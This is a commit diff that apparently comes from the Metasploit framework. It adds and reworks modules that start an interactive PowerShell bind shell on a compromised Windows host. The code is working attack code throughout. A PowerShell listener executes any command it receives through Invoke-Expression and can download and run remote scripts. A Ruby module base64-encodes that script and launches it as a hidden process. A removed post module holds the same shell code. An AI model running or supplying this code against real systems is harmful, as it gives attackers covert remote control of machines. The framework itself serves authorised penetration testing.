Merge pull request #1 from Meatballs1/powershell_interactive_mods
Powershell interactive modsbug/bundler_fix
benpturner
commit
ead57849f2
|
|
@ -0,0 +1,45 @@
|
|||
function Get-Webclient {
|
||||
$wc = New-Object Net.WebClient
|
||||
$wc.UseDefaultCredentials = $true
|
||||
$wc.Proxy.Credentials = $wc.Credentials
|
||||
$wc
|
||||
}
|
||||
|
||||
function powerfun($download) {
|
||||
$modules = @(MODULES_REPLACE)
|
||||
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
|
||||
$listener.start()
|
||||
[byte[]]$bytes = 0..255|%{0}
|
||||
$client = $listener.AcceptTcpClient()
|
||||
$stream = $client.GetStream()
|
||||
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n 'Get-Help Module-Name -Full' for more details on any module.`n 'Get-Module -ListAvailable' for a list of loaded cmdlets.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
if ($download -eq 1) {
|
||||
ForEach ($module in $modules) {
|
||||
(Get-Webclient).DownloadString($module)|Invoke-Expression
|
||||
}
|
||||
}
|
||||
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||
{
|
||||
$EncodedText = New-Object System.Text.ASCIIEncoding
|
||||
$data = $EncodedText.GetString($bytes,0, $i)
|
||||
$sendback = (Invoke-Expression $data 2>&1 | Out-String )
|
||||
|
||||
$sendback2 = $sendback + "PS " + (get-location).Path + "> "
|
||||
$x = ($error[0] | out-string)
|
||||
$error.clear()
|
||||
$sendback2 = $sendback2 + $x
|
||||
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
||||
$stream.Write($sendbyte,0,$sendbyte.Length)
|
||||
$stream.Flush()
|
||||
}
|
||||
|
||||
$client.Close()
|
||||
$listener.Stop()
|
||||
}
|
||||
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Msf::Post::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Local Interactive Powershell Session",
|
||||
'Description' => %q(
|
||||
This module will start a new interactive PowerShell bind session. A list of
|
||||
modules (comma separated) can be supplied in the LOAD_MODULES option to import
|
||||
into the interactive session. E.g. http://site/p1.ps1,http://site/p2.ps1
|
||||
Use a meterpreter route to ensure you can gain access to the bind port.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DisclosureDate' => 'Apr 15 2015',
|
||||
'Author' => [
|
||||
'Ben Turner', # changed module to load interactive powershell via bind tcp
|
||||
'Dave Hardy', # changed module to load interactive powershell via bind tcp and load other powershell modules
|
||||
'Nicholas Nam <nick[at]executionflow.org>', # original meterpreter script
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LPORT(4444),
|
||||
OptAddress.new('RHOST', [false, 'The target address, will default to the session IP if unset', nil]),
|
||||
OptString.new('LOAD_MODULES', [false,
|
||||
'A list of powershell modules seperated by a comma to download over the web',
|
||||
nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
lport = datastore['LPORT']
|
||||
|
||||
if datastore['RHOST'].to_s.empty?
|
||||
rhost = session.session_host
|
||||
else
|
||||
rhost = datastore['RHOST']
|
||||
end
|
||||
|
||||
template_path = File.join(
|
||||
Msf::Config.data_directory,
|
||||
'exploits',
|
||||
'powershell',
|
||||
'powerfun.ps1')
|
||||
|
||||
script_in = File.read(template_path)
|
||||
script_in << "\npowerfun"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " 1\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
|
||||
script = compress_script(script_in)
|
||||
|
||||
res = session.sys.process.execute("powershell -nop -e #{script}", nil, 'Hidden' => true, 'Channelized' => false)
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, 'Failed to start powershell process') unless res && res.pid
|
||||
|
||||
computer_name = session.sys.config.sysinfo['Computer']
|
||||
vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
|
||||
print_status("Attemping to connect to #{rhost}:#{lport}...")
|
||||
|
||||
ctimeout = 20
|
||||
stime = Time.now.to_i
|
||||
last_error = nil
|
||||
while stime + ctimeout > Time.now.to_i
|
||||
Rex::ThreadSafe.sleep(2)
|
||||
begin
|
||||
client = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => lport.to_i,
|
||||
'Proxies' => datastore['Proxies'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => payload_instance,
|
||||
'MsfExploit' => self
|
||||
})
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e
|
||||
last_error = e
|
||||
end
|
||||
|
||||
if client
|
||||
handler(client)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_warning("If a shell is unsuccesful, ensure you have access to the target host and port.")
|
||||
print_status("Try adding a route to the host: `route help`")
|
||||
if last_error
|
||||
raise last_error
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to connect")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/find_shell'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 0
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Command, Interact with Established Connection',
|
||||
'Description' => 'Interacts with a shell on an established socket connection',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'windows',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::FindShell,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,218 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'zlib'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Interactive Powershell Session",
|
||||
'Description' => %q{
|
||||
This module will start a new Interative PowerShell session over a meterpreter session.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DisclosureDate'=> "Apr 15 2015",
|
||||
'Author' => [
|
||||
'Ben Turner', # changed module to load interactive powershell via bind tcp
|
||||
'Dave Hardy', # changed module to load interactive powershell via bind tcp and load other powershell modules
|
||||
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
|
||||
'RageLtMan' # post module
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new( 'LOAD_MODULES', [false, 'A list of powershell modules seperated by a comma, for example set LOAD_MODULES http://www.powershell.com/power1.ps1,http://www.powershell.com/power2.ps1,', ""]),
|
||||
OptString.new( 'RHOST', [false, 'The IP of the system being exploited = rhost', ""]),
|
||||
OptString.new( 'LPORT', [false, 'The PORT of the PowerShell listener = lpost', "55555"])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[ ], self.class)
|
||||
|
||||
end
|
||||
|
||||
# Function for setting multi handler for autocon
|
||||
#-------------------------------------------------------------------------------
|
||||
def set_handler(rhost,rport)
|
||||
mul = session.framework.exploits.create("multi/handler")
|
||||
mul.datastore['WORKSPACE'] = @client.workspace
|
||||
mul.datastore['PAYLOAD'] = "windows/shell_bind_tcp"
|
||||
mul.datastore['RHOST'] = rhost
|
||||
mul.datastore['LPORT'] = rport
|
||||
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
print_status("Multi/handler started: payload=windows/shell_bind_tcp rhost=" + rhost + " lport=" + rport)
|
||||
end
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell script
|
||||
#
|
||||
def compress_script(script_in, eof = nil)
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression += "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression += "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression += "$stream,"
|
||||
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Execute a powershell script and return the results. The script is never written
|
||||
# to disk.
|
||||
#
|
||||
def execute_script(script, time_out = 15)
|
||||
running_pids, open_channels = [], []
|
||||
# Execute using -EncodedCommand
|
||||
session.response_timeout = time_out
|
||||
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
|
||||
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
|
||||
|
||||
# Add to list of running processes
|
||||
running_pids << cmd_out.pid
|
||||
|
||||
# Add to list of open channels
|
||||
open_channels << cmd_out
|
||||
|
||||
return [cmd_out, running_pids, open_channels]
|
||||
end
|
||||
|
||||
def run
|
||||
@client = client
|
||||
if (datastore['LOAD_MODULES'].empty?)
|
||||
modsall = ''
|
||||
else
|
||||
print_status("Loading the following modules into the interactive PowerShell session:")
|
||||
modsall = ''
|
||||
modstemp = datastore['LOAD_MODULES'].to_s
|
||||
modsarray = modstemp.split(',')
|
||||
modsarray.each do |mod|
|
||||
print_good(mod.to_s)
|
||||
if mod == modsarray.last
|
||||
modsall = modsall + "\"" + mod.to_s + "\""
|
||||
else
|
||||
modsall = modsall + "\"" + mod.to_s + "\",\n"
|
||||
end
|
||||
end
|
||||
print("\n")
|
||||
end
|
||||
|
||||
script_in=""+
|
||||
"function Get-Webclient {\n"+
|
||||
" $wc = New-Object Net.WebClient\n"+
|
||||
" $wc.UseDefaultCredentials = $true\n"+
|
||||
" $wc.Proxy.Credentials = $wc.Credentials\n"+
|
||||
" $wc\n"+
|
||||
"}\n"+
|
||||
"\n"+
|
||||
"function powerfun($download) {\n"+
|
||||
"\n"+
|
||||
" $modules = @("+ modsall + ")\n"+
|
||||
" $listener = [System.Net.Sockets.TcpListener]"+datastore['LPORT']+"\n"+
|
||||
" $listener.start()\n"+
|
||||
" [byte[]]$bytes = 0..255|%{0}\n"+
|
||||
" $client = $listener.AcceptTcpClient()\n"+
|
||||
" $stream = $client.GetStream() \n"+
|
||||
"\n"+
|
||||
"$sendbytes = ([text.encoding]::ASCII).GetBytes(\"Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n 'Get-Help Module-Name -Full' for more details on any module.`n 'Get-Module -ListAvailable' for a list of loaded cmdlets.`n`n\")\n"+
|
||||
"$stream.Write($sendbytes,0,$sendbytes.Length)\n"+
|
||||
"$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')\n"+
|
||||
"$stream.Write($sendbytes,0,$sendbytes.Length)\n"+
|
||||
"\n"+
|
||||
" if ($download -eq 1) { ForEach ($module in $modules)\n"+
|
||||
" {\n"+
|
||||
" (Get-Webclient).DownloadString($module)|Invoke-Expression\n"+
|
||||
" }}\n"+
|
||||
"\n"+
|
||||
" while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)\n"+
|
||||
" {\n"+
|
||||
" $EncodedText = New-Object System.Text.ASCIIEncoding\n"+
|
||||
" $data = $EncodedText.GetString($bytes,0, $i)\n"+
|
||||
" $sendback = (Invoke-Expression $data 2>&1 | Out-String )\n"+
|
||||
"\n"+
|
||||
" $sendback2 = $sendback + \"PS \" + (get-location).Path + \"> \"\n"+
|
||||
" $x = ($error[0] | out-string)\n"+
|
||||
" $error.clear()\n"+
|
||||
" $sendback2 = $sendback2 + $x\n"+
|
||||
"\n"+
|
||||
" $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)\n"+
|
||||
" $stream.Write($sendbyte,0,$sendbyte.Length)\n"+
|
||||
" $stream.Flush() \n"+
|
||||
" }\n"+
|
||||
" $client.Close()\n"+
|
||||
" $listener.Stop()\n"+
|
||||
"}\n"+
|
||||
"\n"
|
||||
|
||||
if (datastore['LOAD_MODULES'].empty?)
|
||||
script_in = script_in + "powerfun \n"
|
||||
else
|
||||
script_in = script_in + "powerfun 1\n"
|
||||
end
|
||||
|
||||
# End of file marker
|
||||
eof = Rex::Text.rand_text_alpha(8)
|
||||
env_suffix = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
# Get target's computer name
|
||||
computer_name = session.sys.config.sysinfo['Computer']
|
||||
|
||||
# Compress the script
|
||||
compressed_script = compress_script(script_in, eof)
|
||||
script = compressed_script
|
||||
cmd_out, running_pids, open_channels = execute_script(script, 15)
|
||||
print_status("Started PowerShell on " + computer_name + ". The PID to kill once you have finished: " + running_pids[0].to_s)
|
||||
|
||||
# Default parameters for payload
|
||||
if (datastore['RHOST'].empty?)
|
||||
rhost = @client.session_host
|
||||
else
|
||||
rhost = datastore['RHOST']
|
||||
end
|
||||
|
||||
if (datastore['LPORT'].empty?)
|
||||
rport = 55555
|
||||
else
|
||||
rport = datastore['LPORT']
|
||||
end
|
||||
set_handler(rhost,rport)
|
||||
print_status("If a shell is unsuccesful, ensure you have access to the target host and port. Maybe you need to add a route (route add ?)")
|
||||
print("\n")
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue